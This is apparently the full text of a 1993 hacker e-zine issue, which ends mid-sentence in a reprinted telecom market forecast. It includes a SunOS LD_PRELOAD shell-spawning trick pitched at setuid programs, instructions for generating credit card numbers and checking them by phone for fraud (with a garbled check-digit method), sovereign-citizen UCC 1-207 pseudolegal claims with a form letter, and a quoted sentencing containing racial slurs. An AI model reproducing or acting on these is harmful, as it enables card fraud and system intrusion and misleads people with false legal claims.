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Master Anarchists Giving Illicit Knowledge Issue 2
<*> MAGIK <*>
Master Anarchists Giving Illicit Knowledge
April 23, 1993
Issue 2, Volume 1
In This Issue
~~~~~~~~~~~~~
[1] MAGIK PGP Public Key
[2] Introduction <Chaos>
[3] Signing Crap
[4] Sun OS Preloading
[5] Credit Card # Formula
[6] Telecommunications News
[7] Code Thief <White Lightning>
[8] Audioconferencing Services <Arkimage/Chaos>
[9] Telnet Gateway <Chaos>
[10] Sprint Conference Line Info <Chaos>
[11] A Business Conference-Call, Inc. <Chaos>
[12] CSUnet <Chaos>
[13] The Art of Phreaking I <Electronic Vampyre>
[14] Thrifty Tel Inc. <Chaos>
[15] New PacificBell Services <Chaos>
Staff Organization
~~~~~~~~~~~~~~~~~~
Editor in Chief - Chaos
Writers - Chaos, Electric Vampyre, White Lightning
Programming Team - Chaos, White Lightning, Merlamber
Disclaimer
~~~~~~~~~~
MAGIK and it's writers assume no responsibility for the uses
of the material presented. The information in this magazine is for
informational purposes only, and is not necessarily intended for
illegal uses.
(--------------------------------------------------------)
MAGIK PGP Key
(--------------------------------------------------------)
Now days that the Government is just getting too big, and just
loves to intercept people's mail, MAGIK just like many others has
gone to completely encrypted email. Any email send to magik should
be sent with the following PGP public key. All other email will be
completely ignored.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.2
mQCNAiuuMjMAAAEEAOBHrS3FtN+p4MOSKLkObsUVVp4nwsAzOgWcvWaDnvU2oEJt
fdF2wFJ6qYQwlm1e+RclHaA+Cb2ma+U8YEy3gb35pKviQMbTdVolAEIDvU1sC1nR
7GU9w2uR1FFL0MOOIHiSkztTNNwAjhC/BSkM4Xx/i+TmIGkSn/wseIE8s70FAAUR
tCVNQUdJSyBNYWdhemluZSA8bWFnaWtAcG5ldDAxLmN0cy5jb20+
=Qa66
-----END PGP PUBLIC KEY BLOCK-----
(--------------------------------------------------------)
Introduction
by Chaos
(--------------------------------------------------------)
As promised in our last issue, we are back and even better
than ever. I took some heat for issue #1's text reader, so from
the unfavorable feedback I have decided to drop the reader from the
publication. The whole reader is being completely rewritten and
may eventually be added back in, but not at this time. If you feel
a reader should be added back in let me know. I have had many
people ask me the question "Why do you have a reader for MessyDos?"
Well it is simple. Authenticity. I have found in my days of
modeming there are little kids out there who get their kicks out of
popping the magazine in an editor and changing stuff around, which
in turn makes us look bad. Now that this has been removed be sure
to get a copy from a reliable source. This can always be obtained
from EFF by FTP at 'ftp.eff.org' in /pub/cud/magik. Disappointingly
we are not receiving much feedback from our readers in the way of
submissions to the magazine. Com' on guys, I mean we can keep
feeding you all of this cool shit, but you have got to at least
give us a little back. We are still looking for qualified writers.
We also need someone who can write articles in the way of global
hackers in the news. If interested mail into the magik mailbox.
(--------------------------------------------------------)
Pre-Loading
(--------------------------------------------------------)
SunOS buggy? No way! They got rid of all the bugs, didn't
they?
Okay, when SunOS executes a program, it does dynamic library
linking.
It checks the libraries in this order:
The program's symbols
The preloaded symbols
The user dynamic library symbols
The system default dynamic library symbols
Here's an example of how to take advantage of this:
Create sync.c:
sync() {
execl("/bin/sh", "sh", 0);
}
cc -c -O -R -pic sync.c <--Compile it
ld -o buglib.so.1.1 -assert pure-text sync.o <--Make a library
setenv LD_PRELOAD ./buglib.so.1.1 <--Set the preload list
su sync
When you do this, it does an su to sync, then sees your fake sync()
call, which calls up a shell. Course you're still running as the
sync
user.
The sync account is just uid=1, gid=1. But there's all those setuid
programs floating around out there. Use your imagination...
(--------------------------------------------------------)
Signing Crap
(--------------------------------------------------------)
If ye love wealth greater than liberty,
the tranquility of servitude greater
than the animating contest for freedom,
go home from us in peace.
We seek not your counsel, nor your arms.
Crouch down and lick the hand that feeds you;
and may posterity forget that ye were our countrymen. - Sam Adams
Contrary to what most people think, the "founding fathers" didn't
have computers, but they definitely knew what hacking was all about.
This little quote from a "founding father" remind you of something you
told a cop or your parents once or twice? Only difference is they would
say "go home" and we'd say "go to hell" or "drop dead".
Okay, before we get to the crap, I got something good to show yas.
See, I figure people think law is boring. I guess they just haven't
been reading the right kind of law. You just gotta look in the right
places. This thing is verbatim right from the sentencing. The U.S.
Judge was sitting in an adobe stable they was using as a temporary
court room. This was Federal District Court in the New Mexico
Territory. The guy was convicted of murder.
Jose Manuel Miguel Xavier Gonzales, in a few short weeks it
will be spring. The snows of winter will flee away, the ice will
vanish, and the air will become soft and balmy. In short, Jose
Manuel Miguel Xavier Gonzales, the annual miracle of the years
will awaken and come to pass, but you won't be there.
The rivulet will run its soaring course to the sea, the
timid desert flowers will put forth their tender shoots, the
glorious valleys of this imperial domain will blossom as the
rose. Still, you won't be here to see.
From every tree top some wild woods songster will carol his
mating song, butterflies will sport in the sunshine, the busy bee
will hum happy as it pursues its accustomed vocation, the gentle
breeze will tease the tassels of the wild grasses, and all
nature, Jose Manuel Miguel Xavier Gonzales, will be glad, but
you. You won't be here to enjoy it because I command the Sheriff
or some other officer of the country to lead you out to some
remote spot, swing you by the neck from a knotting bough of some
sturdy oak, and let you hang until you are dead.
And then, Jose Manuel Miguel Xavier Gonzales, I further
command that such officer or officers retire quickly from your
dangling corpse, that vultures may descend from the heavens upon
your filthy body until nothing shall remain but bare, bleached
bones of a cold-blooded, copper-colored, blood-thirsty, throat-
cutting, chili-eating, sheep-herding, murdering son-of-a-bitch.
United States of America v. Gonzales (1881), United States
District Court, New Mexico Territory Sessions.
Ever been "forced" to sign something? Well, the U.C.C. lets
you get around that problem. See, they figured there would be times
where you would sign something you didn't want to. They went and
made the rules so that a smart guy could get out of that. I like
loaded dice. So, there's a loophole for when you don't have free
will to sign shit. When you sign something "without prejudice"
or "under protest", you can get out of the signature and you can
even sue to get even (sue to recover rights). Every state has
adopted this section at least, including Louisiana as of 1/1/75.
See Louisiana Revised States 10:1-207.
The following states clearly follow 1-207 (all citations
are to the state's highest court (usually the supreme court)
unless otherwise indicated): Ohio (544 N.E.2d 869 (1989)); and
Rhode Island (3 UCC Rept Serv. 2d 466 (R.I. Dist Ct, 1987).
The following states distinguish 1-207, and continue to
prohibit a creditor from altering an endorsement restriction and
thereby reserving rights to collect the balance: Alabama (378
So. 2d 1122 (1979)); Alaska (673 P.2d 724 (1983)); Arkansas (644
S.W.2d 292 (1982)); California (737 P.2d 417 (1987));
Connecticut (520 A.2d 1028 (1987)); Florida (407 So. 2d 312
(Fla. App. 1981)); Georgia (858 F.2d 1507 (Cir 11, 1988); 265
S.E.2d 325 (1980)); Illinois (722 F.Supp. 339 (E.D.Va 1989)
(This cite looks bad to me; An Illinois issue decided in the
Eastern District of Virginia? It's possible, but unlikely; I
assume I transcribed the cite incorrectly); Kansas (762 P.2d 196
(1988)); Louisiana (423 So. 2d 752 (La. App. 1982); 799 F.2d
1984 (Cir. 5, 1986); Maine (484 A.2d 1008 (1984)); Maryland (459
A.2d 1120 (1983)); Michigan(418 N.W.2d 386 (1987)); Nebraska
(382 N.W.2d 313 (1986)); New Jersey (418 A.2d 1326 (Dist Ct.,
1980); North Carolina (264 S.E.2d 385 (1980)); Oregon (664 P.2d
419 (1983); Utah (706 P.2d 607 (1985)); West Virginia (1 UCC
Repr. Serv. 2d 1425); Washington (610 P.2d 390 (1980));
Wisconsin (291 N.W.2d 636 (Ct. App., 1980); Wisconsin (341
N.W.2d 655 (1984); and Wyoming (593 P.2d 828 (1979)). What this
means is that the U.C.C. does not supercede the common law accord
and satisfaction. A debtor can add "payment in full" on an
endorsement, but a creditor CAN'T alter it.
The following states have authority on either side of the
question, and appear unsettled: Missouri (not applying 1-207:
550 F.Supp. 992 (W.D. Mo, 1982); applying 1-207: 694 S.W.2d 762
(Mo. App. 1985)); New York(not applying: 560 N.Y.S. 2d 617
(1990); applying: 488 N.E.2d 56 (1985); 553 N.Y.S.2d 349
(1990)); Pennsylvania (applying: 476 F.Supp. 1155 (E.D. Pa.,
1979); not applying: 36 UCC Rept Serv. 369 (Pa. Ct. Common
Pleas, 1983); and Texas (not applying: 735 S.W.2d 501 (Tex.
Appl. 1987); applying: 804 S.W.2d 238 (1991)).
This is all in U.C.C. Book 1, Section 207:
Performance or Acceptance Under Reservation of Rights.
A party who with explicit reservation of rights performs or
promises performance or assents to performance in a manner
demanded or offered by the other party does not thereby prejudice
the rights reserved. Such words as 'without prejudice,' 'under
protest' or the like are sufficient.
What a bunch of crap to hide what it means, eh? The whole
U.C.C. is written like that. If you don't believe it's in there,
go get a college business law book. Most of them have a copy of
the U.C.C. stuffed in the back some place and they might even
talk about this section some place else in the book (ha! not). To
fulfill the requirements, just write the words "signed without
prejudice," above or beside your signature.
If you start doing this, use "without prejudice" instead of
"under protest" because a circuit judge that Thomas Covenant
(of Thieves' World) messed with didn't even know what it meant.
If a judge asks you what you mean when you said "without prejudice,"
you could tell him something like this: "It indicates I have
exercised the remedy provided for me in the Uniform Commercial Code
by which I might reserve the common law right not to be compelled
to perform under any contract that I have not entered knowingly,
voluntarily, and intentionally."
An Example: Driver's Licenses
You probably contracted away some of your constitutional
rights without even realizing it. Here's some examples:
You contract away your right to free speech when you enter
a movie theatre. You cannot talk or whistle or sing or the
management will kick you out (and no refund).
You contract away your freedom of assembly when you sign an
apartment lease. You cannot have a political rally with 100
people every night in your apartment. Same goes for freedom of
speech.
You contract with your employer to go by his rules. (No
gambling, no alcohol on company premises). If you break a rule,
you get fired. You do not get a trial. It is breach of
contract not a crime.
You contract away your right to a jury trial when you sign
a brokerage agreement with Merrill Lynch, etc. You agree to use
binding arbitration instead of the court system.
You agree some place in your driver's license application to
obey all the rules. The state legislature writes these statutes
(they are NOT laws). And then can change them any time they feel
like it. They are the terms of the contract. Part of the terms
of the contract include waiving some of your constitutional
rights.
If a police officer stops you, he writes you a 'ticket'.
There is probably some part of the contract that says you can
have a "trial" (it's an administrative hearing) if you break a
rule. To make it look real, most states will even allow you to
have a "jury", but they usually try to skimp on the 12 jurors
required for a real trial. Civil rules are NOT crimes. It's
always called an 'offense' or an 'infraction' to disguise this
fact. It is a breach of contract.
Under the constitution, you get a jury trial for all crimes
(6th amendment) and a jury trial for all civil law suits for an
amount over $20 (7th amendment). A traffic hearing is not a
criminal court, so forget the 6th amendment. It's not a common
law suit, so forget the 7th amendment. It's a breach of contract
suit.
Now the UCC comes in. Almost all of it covers rules for
contracts and breaches of contracts. The UCC says that you do
not have to honor a contract unless you entered "knowingly,
intentionally, and willfully." It assumes that you did all these
things if you received benefits from the contract unless you
specifically reserve your rights. In this case, one of the
benefits is lower insurance rates since you are a licensed
driver.
If you reserved your rights by signing without prejudice,
the state can still sue you, but it has to be a common law suit.
Look at Article III, Section 2, paragraph 2 of the Constitution
of the United States. It would be unfair for a state court to
try a case in which the state is one of the parties, so the
Supreme Court has jurisdiction over this case.
Did you know you were giving up your constitutional rights
when you entered into that contract? It is fraudulent to enter
into a contract without entering "knowingly, intentionally, and
willfully". You can rescind that contract. That is part of what
the form letter below is about, but that particular form letter
is much more complicated for other reasons.
The Form Letter
Okay, this is a sneaky document that a guy sent me that is
essentially a template Go Away form written by an 18 year old
kid that just decided he had enough shit and started reading the
law, just like everybody told him to do. Now, a lot of this
shit is going to sound REALLY screwed up. Do NOT use anything
in law that you don't understand or you will get in trouble. I
will eventually explain everything in it. You might want to
at least consider what it says in 3-511 and then write a letter
to anybody you're signing "without prejudice" with and tell them
to throw away the form you signed.
Let it be known, I reserve all of my rights under the common
law provisions and proceed to base my claim of fraud upon all who
deny me these rights.
I shall continue to state, I am not a resident of the District
of Columbia or a foreign corporation, officer, director, stockholder,
or employee of a foreign corporation, or a citizen of the United
States, or a citizen of the U.S., or a citizen of any corporate,
conglomerate state government, and I am not a resident of any federal
possession, enclave, or fort etc., and if I of necessity receive any
governmental benefits and privileges, it is without prejudice,
reserving all rights as per the Uniform Commercial Code 1-207. I am
therefore not subject to the color of law jurisdictions of the United
States in the corporate monopoly of the federal and state governments.
I am a natural and corporeal person and cannot live in a
corporate fiction called the United States nor the corporate fiction
called the State of California. I thereby claim my rights under the
Constitution which is the Supreme Law of the Land. The Bill of Rights
enumerates some of our God-given rights as sovereign citizens.
I deny all jurisdictional claims you present over me. I further
respectfully dishonor all claims against me this day, and all other
days that I have been forced to enter into this jurisdiction by
estoppel, fraud, misrepresentation, duress, coercion, mistake, etc.
This is done upon the following provisions of Code:
Under U.C.C. 1-207 Performance or acceptance under reservation of
rights.
A party who with explicit reservation of rights performs or
promises performance or assents to performance in a manner demanded or
offered by the other party does not thereby prejudice the rights
reserved. Such words as "without prejudice", "under protest" or the
like are sufficient.
Under U.C.C. 3-511 (1) and (c). Waived or excused presentment,
protest or notice of dishonor or delay therein.
(1) Delay in presentment, protest, or notice of dishonor is
excused when the party is without notice that it is due or when the
delay is caused by circumstances beyond his control and he exercises
reasonable diligence after the cause of the delay ceases to operate.
Presentment or notice or protest as the case may be is entirely
excused when
(c) by reasonable diligence the presentment or protest cannot
be made or the notice given.
I dishonor your presentment or claim upon me.
Under U.C.C. 3-305 (2) (b) and (c) Rights of a holder in due course.
(2) All defenses of any party to the instrument with whom the holder
has not dealt except
(b) Such other incapacity, or duress, or illegality of the
transaction, render the obligation of the party a nullity, and
(c) such misrepresentation as has induced the party to sign the
instrument with neither knowledge nor reasonable opportunity to obtain
knowledge of its character or its essential terms.
Under U.C.C. 3-601 (3) (a). The liability of all parties is
discharged when any party who has himself no right of action or
recourse on the instrument
(a) reacquires the instrument in his own right.
Under U.C.C. 1-103. Supplementary general provisions of law
applicable.
Unless displaced by the particular provisions of this act, the
principles of law and equity, including the law merchant and the law
relative to capacity to contract, principal and agent, estoppel,
fraud, misrepresentation, duress, coercion, mistake, bankruptcy, or
other validating or invalidating cause shall supplement its
provisions.
Under U.C.C. 2-609. Right to adequate assurance of performance.
(4) After receipt of a justified demand failure to provide within
a reasonable time not exceeding thirty days such assurance of due
performance as is adequate under the circumstances of the particular
case is a repudiation of the contract.
Under U.C.C. 2-608. Revocation of acceptance in whole or in part.
(1) The buyer may revoke his acceptance of a lot or commercial unit
whose nonconformity substantially impairs its value to him if he has
accepted it.
(b) without discovery of such nonconformity if his acceptance was
reasonably induced either by the difficulty of discovery before acceptance
or by the seller's assurances.
(2) Revocation of acceptance must occur within a reasonable time
after the buyer discovers or should have discovered the ground for it
and before any substantial change in condition of the goods which is not
caused by their own defects. It is not effective until the buyer
notifies the seller of it.
(3) A buyer who so revokes has the same rights and duties with
regard to the goods involved as if he had rejected them.
I hereby revoke all signatures on every and all state and federal
documents which has my signature on it, and including those in the
future if forced to do so.
I further disclaim any oaths or implied oaths of or contracts.
Dated _____
Submitted by _______________
Signed without prejudice U.C.C. 1-207
Turing the Tables
Fair's fair, right? While you're busy filling out their forms,
why not make them fill out YOUR form? This is a federal form only,
unfortunately. Here it is, the Public Servant's Questionnaire,
with questions required to be answered BY LAW! Just edit it so
that it doesn't look so crappy and go for it.
----cut here----
Public Law 93-579 states in part: "The purpose of this Act is to
provide certain safeguards for an individual against invasion of
personal privacy by requiring Federal agencies...to permit and individual
to determine what records pertaining to him are collected, maintained,
used, or disseminated by such agencies."
The following questions are based upon that act and are necessary
in order that this individual may make a reasonable determination
concerning divulgence of information to this agency.
1. Name of public servant...............
2. Residence......City.....State......Zip......
3. Name of department, bureau, or agency by which public servant
is employed........supervisor's name......
4. It's mailing address...........City......State....Zip......
5. Will public servant uphold the constitution of the United States?
6. Did public servant furnish proof of identity?
7. What was the nature of proof?..............
8. Will public servant furnish a copy of the law or regulation which
authorizes this investigation?
9. Will the public servant read aloud that portion of the law authorizing
the questions he will ask?
10. Are the answers to the questions voluntary or mandatory?
11. Are the questions to be asked based upon a specific law or regulation,
or are they being used as a discovery process?
12. What other uses may be made of this information?
13. What other agencies may have access to this information?
14. What will be the effect upon me if I should choose not to answer
any part or all of these questions?
15. Name of person in government requesting that this investigation be
made...............
16. Is this investigation 'general' or is it 'special'?
17. Have you consulted, questioned, interviewed, or received information
from any third party relative to this investigation?
18. If so, the identity of such third parties..........
19. Do you reasonably anticipate either a civil or criminal action to be
initiated or pursued based upon any of the information which you seek?
20. Is there a file of records, information, or correspondence relating to
me being maintained by this agency? If yes, which?
21. Is this agency using any information pertaining to me which was
supplied by another agency or government source?
22. May I have a copy of that information?
23. Will the public servant guarantee that the information in these files
will not be used by any other department other than the one by whom he
is employed? If not, why not?
If any request for information relating to me is received from any
person or agency, you must advise me in writing before releasing such
information. Failure to do so may subject you to possible civil or
criminal action as provided by the act.
I swear (affirm) that the answers I have given to the foregoing
questions are complete and correct in every particular. ___________
Date: ____/_____ Witness:____________ Witness:_______________
----cut here----
Okay, when they decide to get cocky, here's your legal power for
asking these questions:
1,2,3,4 In order to be sure you know exactly who you are giving the
information to. Residence and business addresses are needed in case
you need to serve process in a civil or criminal action upon this
individual.
5 All public servants have taken a sworn oath to uphold and
defend the constitution.
6,7 This is standard procedure by government agents and
officers. See Internal Revenue Manual, MT-9900-26, Section 242.133.
8,9,10 Title 5 USC 552a, paragraph (e) (3) (A)
11 Title 5 USC 552a, paragraph (d) (5), (e) (1)
12,13 Title 5 USC 552a, paragraph (e) (3) (B), (e) (3) (C)
14 Title 5 USC 552a, paragraph (e) (3) (D)
15 Public Law 93-579 (b) (1)
16 Title 5 USC 552a, paragraph (e) (3) (A)
17,18 Title 5 USC 552a, paragraph (e) (2)
19 Title 5 USC 552a, paragraph (d) (5)
20,21 Public Law 93-579 (b) (1)
22 Title 5 USC 552a, paragraph (d) (1)
23 Title 5 USC 552a, paragraph (e) (10)
losing Thought
Sometimes the law defends plunder and participates in it. Sometimes
the law places the whole apparatus of judges, police, prisons and gendarmes
at the service of the plunderers, and treats the victim - when he
defends himself - as a criminal. - Frederic Bastiat `The Law'
This guy rips liberals to shreds. Want to read it? This thing is
probably about as nasty as sending someone a copy of Rush Limbaugh's
book, except Bastiat is more serious and he wasn't Republican OR
Libertarian.
Getting it by ftp:
ftp think.com
cd /pub/libernet/misc
(Yeah, I know it's that silly libertarian stuff..the book is
good and very old even if the libs like it, too)
get frederic-bastiat-the-law [text]
get the.law.dvi [dvi file]
get the.law.latex [latex]
Getting it by mail:
Single copies are 2 Federal Reserve Notes. A case of 100 is 75. Address:
The Foundation For Economic Education, Inc.
Irvington-On-Hudson, New York, 10533.
(--------------------------------------------------------)
Credit Card Formula
(--------------------------------------------------------)
Now days it seems credit card numbers and CBI/TRW accounts are
hard to come by. With this, there seems one simple solution, why
can't you create your OWN virgin credit card numbers? The whole
process is very simple and can be used to create all of the credit
card numbers you would every want.
Mastercard - 5xxx xxxx xxxx xxxc
Visa - 4xxx xxx xxx xxc
Visa Gold - 4xxx xxxx xxxx xxxc
American Express - 3xxxxxxxxxc
If you have an IQ above 0 then you would know that the X's can
be filled in with a random number from 0-9. But what are the C's
filled in with? The C is the check digit for the whole card. In
order to compute this check digit you must use a mathematical
formula. First lets assume the Mastercard we made up was '5123
1234 1234 123c'. The first thing we need to do is assign each
number a place value, so we would start from the right and work out
way to the left, for example :
15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 c
| | | | | | | | | | | | | | |
5 1 2 3 1 2 3 4 1 2 3 4 1 2 3 c
Now starting from the right (#1) and moving to the left (#15)
we would take every -ODD- number and multiply it by 2. The answer
would come out to be 38 from out example. We would now round the
number to the nearest number divisible by 10 which in this case
would be 40. We would subtract 38 from 40 (40 - 38 = 2). Are
check digit in this example would be 2.
Now that you can create the card #, you need a method of
checking this credit card. This can be done very simply with this
process :
(1) Dial 1-800-554-2265
(2) Dial 1067#24#
(3) 10# for Mastercard or 20# for VISA
(4) Credit Card Number then #
(5) Expiration date in the form (MM/YY) then #
(6) Ammount in XX*XX (IE 10*16 would be $10.16) then #
You now have a virgin credit card number, have phun =)
(--------------------------------------------------------)
Telecommunications News
(--------------------------------------------------------)
Telecom Winners And Losers In 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Dr. Jerry Lucas
It's 1993, time for TeleStrategies' annual analysis of winners and
losers in the coming year. First, we'll review how we called them last
year (TeleStrategies Insight, January 1992) because it's fun to toot
your own horn when you're right. Then we'll cover what happened in
1992 that influenced our assessment for 1993. Finally, we'll tell you
what to expect this year if you like to pick winners rather than
losers.
TELESTRATEGIES' TOP TEN WINNERS AND LOSERS
1. ATM/SONET
2. Collocation
3. PCS
4. Cellular Technologies
5. 800 Number Portability
6. Video Dial Tone
7. IntraLATA Toll
8. Screen Phones
9. AIN
10. ISDN
1. ATM/SONET
First, a quick technology refresher: Synchronous Optical Network
(SONET) is the standardization of optical fiber transport;
Asynchronous Transfer Mode (ATM) is the multiplexing and/or switching
access to SONET transport.
Last year at this time, the only ATM/SONET game was the RBOCs'
Switched Multimegabit Data Service (SMDS). We deemed it a loser and
that opinion remains unchanged. Why? SMDS doesn't create value for end
users. As planned, SMDS would deliver LAN connectivity to users via a
public packet network with 1.5 to 45 Mbps access. First, there is no
demand today for public (i.e., inter-company) LAN connectivity except
in the research and education market. If you are a player in R&E, you
get it for "free" via Internet. (See TeleStrategies Insight, November
1992). Second, if you want switched, intra-company LAN-to-LAN
connectivity with 1.5 Mbps access, and you have to pay for it, you can
get it today with frame relay technology. Third, the only way to
justify 45 Mbps access today is interconnection to an interexchange
carrier where voice, data and video can be integrated to the IXC
serving center. In summary, if your view of how ATM/SONET will roll
out in 1993 is megabit per second, data only, access to a public ATM
switch (SMDS), you lose.
So what happened in 1992 to make ATM/SONET timely and a winner for
1993? The ATM Forum. In 1992 the computer/LAN people joined with the
router, T1 mux, DCS and CO vendors to push for CPE ATM standards
compatible with carrier SONET. The end result: it is now possible for
ATM CPE to interface with an ATM/SONET-based IXC. Look for the large
end user to see the first wave of ATM CPE products and compatible
private line carrier offerings by year end.
2. COLLOCATION
Last year we picked 1992 as the year the FCC would follow the New York
PSC's lead regarding CO collocation for the Alternative Local
Transport Service (ALTS) providers. The FCC did just that last summer
with the result that collocation for special private line access is
here. So, if you were an ALTS and took the risk to start up or fortify
your market position, as you already know, you were a winner in 1992.
What else happened in 1992 to affect collocation opportunities in
1993? Plenty. First, collocation has now been established as an
acceptable practice at the state PUC level. RBOC COs haven't been
destroyed by "incompetent" ALTS technicians when on site at the CO,
etc. Second, Senator Al Gore was elected Vice President. It is likely
that he will use his position to become the U.S. "technology czar,"
putting special emphasis on his "baby," the National Research and
Education Network (NREN), the gigabit replacement for Internet (see
TeleStrategies Insight, June 1992). Third, the RBOCs acknowledge they
lost the special access monopoly with collocation (a $3 billion
market). It's just a matter of time until switched access (a $20
billion market) is opened to competition, further eroding the RBOCs
position. In light of this a few RBOCs (or independents) have realized
that "if you can't beat them, join them."
What should you expect in 1993 regarding collocation opportunities?
First, a lot of hype about the telecom infrastructure creating jobs
(the Gore/NREN effect) followed by creative RBOC/state PUC initiatives
to attract new business. The bottom line for 1993: very special
collocation agreements between corporate networking customers and
RBOCs with the blessing of state PUCs. If the RBOCs are going to get
bypassed anyway, why shouldn't they get in on it themselves. The RBOCs
could win big politically with Washington, their state governments and
others by teaming with end users! Collocation offers endless
possibilities. Watch the creative ones in 1993.
3. PCS
Last year we said that there wouldn't be any new spectrum
reallocations for Personal Communications Services (PCS) and that the
FCC's Pioneer Preference system was the best way to go if you wanted
to start up now. We were right on both counts.
If you are exploring PCS opportunities in 1993, here's what happened
in 1992 that you should know about. (1) You can no longer file for a
Pioneer's Preference; (2) The FCC issued a Notice of Proposed Rule
Making for PCS frequency reallocation and was deluged with comments.
MCI's proposal drew significant attention. It calls for the creation
of three national consortia in which no one company would have a
controlling interest and no one would be allowed to hold both cellular
and PCS licenses in the same geographic area. (3) Last month Pacific
Bell blew it for RBOC PCS set-asides last when they announced their
"Divestiture II," which will split their cellular operations and
regulated local exchange operations into two separate companies.
Readers of TeleStrategies Insight (August 1991) shouldn't have been
surprised because we predicted a year and a half ago that an RBOC
would do exactly what Pacific Bell now says it will do.
If you aren't a cellular carrier or a PCS pioneer but want to get into
PCS in 1993, start by reading MCI's PCS consortia proposal to the FCC.
It's well thought out and has had a lot of input from industry
players. Start networking with these consortia because 1993 will be
open for filings. There will be no set-aside frequencies nor will
there be lotteries as with cellular.
4. CELLULAR TECHNOLOGY
Last year at this time, the hot topic in cellular was TDMA vs. CDMA.
We called TDMA the definite winner for this year and we were right.
McCaw, Rogers Cantel and Southwestern Bell are implementing TDMA.
Others (Pacific Bell, NYNEX, U S WEST) who are publicly leaning toward
CDMA may have to go with TDMA just to meet the digital marketing hype
that's starting to float around. Regarding 1993, what new technology
developments have arisen to create future opportunities? Packet data
via cellular. The significance of packet data via cellular is that the
air time costs drop (you pay by the data burst) and less power is
drawn from the batteries (giving you longer periods between
recharges). The packet cellular systems tested in 1992 were made by
Cellular Data, Inc., and IBM (Cellplan II). Cellular carriers are
getting ready to roll out one or the other. In 1993, opportunities
abound for applications and distribution for low-cost, portable data
communications.
5. 800 NUMBER PORTABILITY
Number portability allows current 800 customers to move their 800
business to another IXC without changing their phone numbers; they can
divide their business based on call origination location, time of day
or by a random percentage allocation. No winners or losers were
predicted last year because 800 number portability wasn't scheduled to
happen until 1993.
Starting in May, 1993 or shortly thereafter, 800 number portability
will create new opportunities for:
IXCs who are lusting after AT&T's 800 customers. Even the smallest
IXCs will be able to participate because they can carry national 800
account originating traffic in their service area only.
THE MEDIA will bombard the U. S. with 800 advertisements. TV and print
media are in for a revenue windfall. Big bucks will be spent by AT&T,
MCI, Sprint and others on 800 service advertisements.
CONSUMERS will benefit because 800 number portability brings SS7
connectivity with it. This means almost all telephone calls will be
distance-insensitive regarding call set-up time.
POTENTIAL TOLL FRAUD VICTIMS will have less exposure. Almost all toll
fraud (that end users are liable for) originates with an 800 call to a
company's voice mail box or direct inward system access (DISA) line.
800 number portability gives users the ability to "red line." Here's
an example: the Bronx area of New York City is a hot bed of toll fraud
activity. Users will be able to block calls down to that NPA-NXX.
LECs performing centralized data base dips will not only be
compensated for IXC selection and more, but the SS7 infrastructure
will be in place to create other intelligent network services.
But what about AT&T? On the surface, 800 number portability looks like
a loser for them; they're going to lose 800 customers or at least part
of their customers' traffic. But there are some things AT&T can do to
mitigate the damage:
1. Fight for Deregulation -- Once 800 number portability goes into
effect, AT&T can make the case to the FCC that they no longer have the
advantage created in the pre-divestiture days when they were the only
800 game in town. This appears to be the last issue Judge Greene has
to resolve with AT&T. It is probable that AT&T's competitors will
bring up their international market or their calling card position,
but these arguments pale with respect to those of 800 number
portability. The question now is why should AT&T be regulated any
differently than MCI or Sprint?
2. AT&T Patents -- Three years ago in TeleStrategies Insight
(September/October 1989) we wrote an analysis of AT&T's patents and
potential strategies they could implement to generate billions in
revenues. In that article I predicted that within a year AT&T would go
after its competition, probably targeting MCI for violating its 800,
0+, VPN and other intelligent network call processing method patents.
Well, I was right and wrong. It took three years rather than one (We
had to wait for 800 number portability to be set in motion.). But AT&T
notified the FCC (on Thanksgiving eve) that MCI may be violating its
intelligent network patents with its Canadian long distance deal.
(Patent attorneys say the way you notify the world you're ready to go
to court is by using the word "may.")
Briefly, here's what's going on with AT&T patents. AT&T has patents
issued from 1979 to 1982 that appear to cover all intelligent
networking including the use of a database to process 800 calls (the
Weber patent). Under the terms and conditions of the divestiture
agreement (the MFJ), the RBOCs can use any AT&T patents issued through
January 1, 1989, but no one else can without a licensing agreement.
AT&T has notified the FCC that it will not claim infringement if a
carrier (IXC) purchases or interacts with the 800 portability
database. But, AT&T also states that there may be a Weber patent
violation if a carrier operates such a database in its own network.
The bottom line (another prediction): AT&T can and may choose to make
its competitors lives a patent litigation nightmare on everything from
enhanced 800 to personal communications services if they want to, and
I think they want to. At a minimum, any revenues AT&T loses in the 800
marketplace from number portability will be made up by patent license
royalty fees. Stay tuned in 1993.
6. VIDEO DIAL TONE
In October, 1991, the FCC issued a Notice of Proposed Rule Making on
video dial tone which they approved in July 1992. Here's some
background: the FCC informed the RBOCs they could provide video to the
home as common carriers, but they couldn't own more than 5 percent of
an information product or be a program packager (i.e., editor).
TeleStrategies' view of this opportunity is that the RBOCs should
forget going solo; instead, they should partner rather than compete
with the cable industry. Our 1993 assessment: video dial tone is a
loser for the RBOCs.
Who can win? Small entrepreneurs. Here's how: the RBOCs seem to want
the perception in the industry that they are video players. Under
today's rules, they need video packagers as partners. The big cable
operators won't play, so you, as a private or wireless cable TV
operator or even a second cable operator in a market, can fill the
gaps. Structure a deal in which the RBOCs provide the fiber
infrastructure, and tariff or price it to you under the video dial
tone umbrella (You pay for service incrementally rather than pay the
fully allocated cost of infrastructure.). Of course, you have to give
them a buy-out option when they get permission to get into real cable
TV service. RBOCs need video players and small entrepreneurs can play
that role in 1993.
7. INTRALATA TOLL
Last year we said that nothing would happen in intraLATA toll
competition regarding 1+ presubscription. Well, we were right. Only
one state (North Dakota) has moved ahead with it. This year won't be
much different. Although nearly 40 states permit 10XXX intraLATA
competition, the IXCs haven't touched it. Only MCI has mildly pushed
for 1+.
Why? The IXCs are not really ready to explain in a marketing campaign
to the general public what a LATA is, the state PUCs aren't
comfortable with the revenue loss the RBOCs would suffer and the RBOCs
(conveniently) aren't ready with their switches to handle 1+,
intraLATA presubscription. (They want to wait and have this done via
AIN -- see number 9 below.)
But who can win an intraLATA role? Resellers. The cost of a 100- mile
intraLATA toll call can typically cost two to three times that of a
coast-to-coast call or 25 cents to 50 cents more per minute. These
margins aren't "plump," they're obese. The good news is that a lot of
states permit intraLATA resale. Regardless, if you are a small
carrier, most states don't police intraLATA where customers have
direct access to your switch.
8. SCREEN PHONES
Last year we predicted that screen phones coupled with CLASS (Custom
Local Area Signalling Services) would be a marketplace winner in 1992.
We still believe they will be a winner, but screen phones only made it
to the market field-trial stage last year. The problem is finalization
of standards and Bellcore expects this to be completed this month.
In case you haven't been tracking this opportunity, a screen phone is
about 1.5 times the size of a regular phone; it has a display that
